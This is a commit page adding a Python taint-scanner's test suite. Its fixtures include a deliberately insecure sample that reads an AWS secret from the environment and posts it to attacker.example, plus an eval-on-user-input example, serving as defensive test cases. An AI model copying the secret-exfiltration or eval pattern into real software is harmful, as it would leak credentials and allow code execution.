feat(llm-security): add AST Python-taint scanner with python3 fallback
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
parent
76e3543626
commit
e497bb768c
6 changed files with 466 additions and 0 deletions
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
import os
|
||||
import requests
|
||||
|
||||
|
||||
def exfiltrate():
|
||||
# Source: os.environ -> intermediate variable -> network sink.
|
||||
secret = os.environ["AWS_SECRET"]
|
||||
url = "https://attacker.example/collect"
|
||||
requests.post(url, data=secret)
|
||||
12
tests/fixtures/ast-scan/scope.py
vendored
Normal file
12
tests/fixtures/ast-scan/scope.py
vendored
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# The variable `data` exists in both functions, but only one is tainted.
|
||||
# A scope-aware analysis must flag handler_one and leave handler_two alone.
|
||||
|
||||
|
||||
def handler_one(prompt):
|
||||
data = input(prompt) # tainted source
|
||||
eval(data) # sink -> should be flagged
|
||||
|
||||
|
||||
def handler_two(prompt):
|
||||
data = "a constant value" # literal, NOT tainted
|
||||
eval(data) # same var name, must NOT be flagged
|
||||
6
tests/fixtures/ast-scan/sentinel.py
vendored
Normal file
6
tests/fixtures/ast-scan/sentinel.py
vendored
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
import os
|
||||
|
||||
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
|
||||
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
|
||||
# working directory. The test asserts SENTINEL never appears.
|
||||
os.system("touch SENTINEL")
|
||||
105
tests/scanners/ast-taint-scanner.test.mjs
Normal file
105
tests/scanners/ast-taint-scanner.test.mjs
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
|
||||
// Fixtures in tests/fixtures/ast-scan/:
|
||||
// - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
|
||||
// - scope.py : same var name in two functions, only one tainted (scope test)
|
||||
// - sentinel.py : os.system("touch SENTINEL") — proves the helper PARSES, never runs
|
||||
//
|
||||
// python3-absent and malformed-input paths use throwaway temp dirs so they are
|
||||
// deterministic regardless of the host having python3.
|
||||
|
||||
import { describe, it, beforeEach } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { resolve, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { existsSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { spawnSync } from 'node:child_process';
|
||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/ast-taint-scanner.mjs';
|
||||
|
||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||
const FIXTURE = resolve(__dirname, '../fixtures/ast-scan');
|
||||
|
||||
// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
|
||||
// when the interpreter is absent.
|
||||
const HAS_PYTHON3 = !spawnSync('python3', ['--version']).error;
|
||||
|
||||
describe('ast-taint-scanner: python3 present', () => {
|
||||
let discovery;
|
||||
|
||||
beforeEach(async () => {
|
||||
resetCounter();
|
||||
discovery = await discoverFiles(FIXTURE);
|
||||
});
|
||||
|
||||
it('flags creds -> network through an intermediate variable', { skip: !HAS_PYTHON3 }, async () => {
|
||||
const result = await scan(FIXTURE, discovery);
|
||||
assert.equal(result.status, 'ok');
|
||||
const real = result.findings.filter(f => f.severity !== 'info' && f.file.includes('creds-net.py'));
|
||||
assert.ok(real.length >= 1, `expected a taint finding on creds-net.py, got: ${result.findings.map(f => `${f.title}@${f.file}`).join('; ')}`);
|
||||
assert.ok(real.some(f => /os\.environ/.test(f.evidence || f.description)), 'should name os.environ as the source');
|
||||
assert.ok(real.some(f => /requests\.post/.test(f.evidence || f.description)), 'should name requests.post as the sink');
|
||||
});
|
||||
|
||||
it('respects function scope (only the tainted use is flagged)', { skip: !HAS_PYTHON3 }, async () => {
|
||||
const result = await scan(FIXTURE, discovery);
|
||||
const scopeReal = result.findings.filter(f => f.severity !== 'info' && f.file.includes('scope.py'));
|
||||
assert.equal(scopeReal.length, 1, `scope.py should yield exactly 1 real finding, got ${scopeReal.length}: ${scopeReal.map(f => `L${f.line}`).join(', ')}`);
|
||||
assert.ok(/input/.test(scopeReal[0].evidence || scopeReal[0].description), 'the flagged finding should trace back to input');
|
||||
});
|
||||
|
||||
it('emits DS-AST- ids with scanner AST', { skip: !HAS_PYTHON3 }, async () => {
|
||||
const result = await scan(FIXTURE, discovery);
|
||||
const wrong = result.findings.filter(f => !f.id.startsWith('DS-AST-') || f.scanner !== 'AST');
|
||||
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ast-taint-scanner: parse-only safety', () => {
|
||||
it('never executes the target (no SENTINEL file appears)', async () => {
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(FIXTURE);
|
||||
await scan(FIXTURE, discovery);
|
||||
// The canary would land in the process cwd or the fixture dir if executed.
|
||||
assert.equal(existsSync(resolve(process.cwd(), 'SENTINEL')), false, 'SENTINEL must not be created in cwd');
|
||||
assert.equal(existsSync(join(FIXTURE, 'SENTINEL')), false, 'SENTINEL must not be created in the fixture dir');
|
||||
});
|
||||
});
|
||||
|
||||
describe('ast-taint-scanner: python3 absent', () => {
|
||||
it('returns status skipped when the interpreter is unavailable', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'ast-nopy-'));
|
||||
try {
|
||||
mkdirSync(join(dir, '.llm-security'), { recursive: true });
|
||||
writeFileSync(
|
||||
join(dir, '.llm-security', 'policy.json'),
|
||||
JSON.stringify({ ast: { python_path: 'definitely-not-a-real-python-xyz' } }),
|
||||
);
|
||||
writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
assert.equal(result.status, 'skipped');
|
||||
assert.equal(result.findings.length, 0);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('ast-taint-scanner: malformed input resilience', () => {
|
||||
it('completes without throwing on a syntactically invalid .py', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'ast-bad-'));
|
||||
try {
|
||||
writeFileSync(join(dir, 'broken.py'), 'def (:\n this is not python @@@\n');
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
assert.ok(['ok', 'skipped'].includes(result.status), `unexpected status ${result.status}`);
|
||||
assert.ok(Array.isArray(result.findings));
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue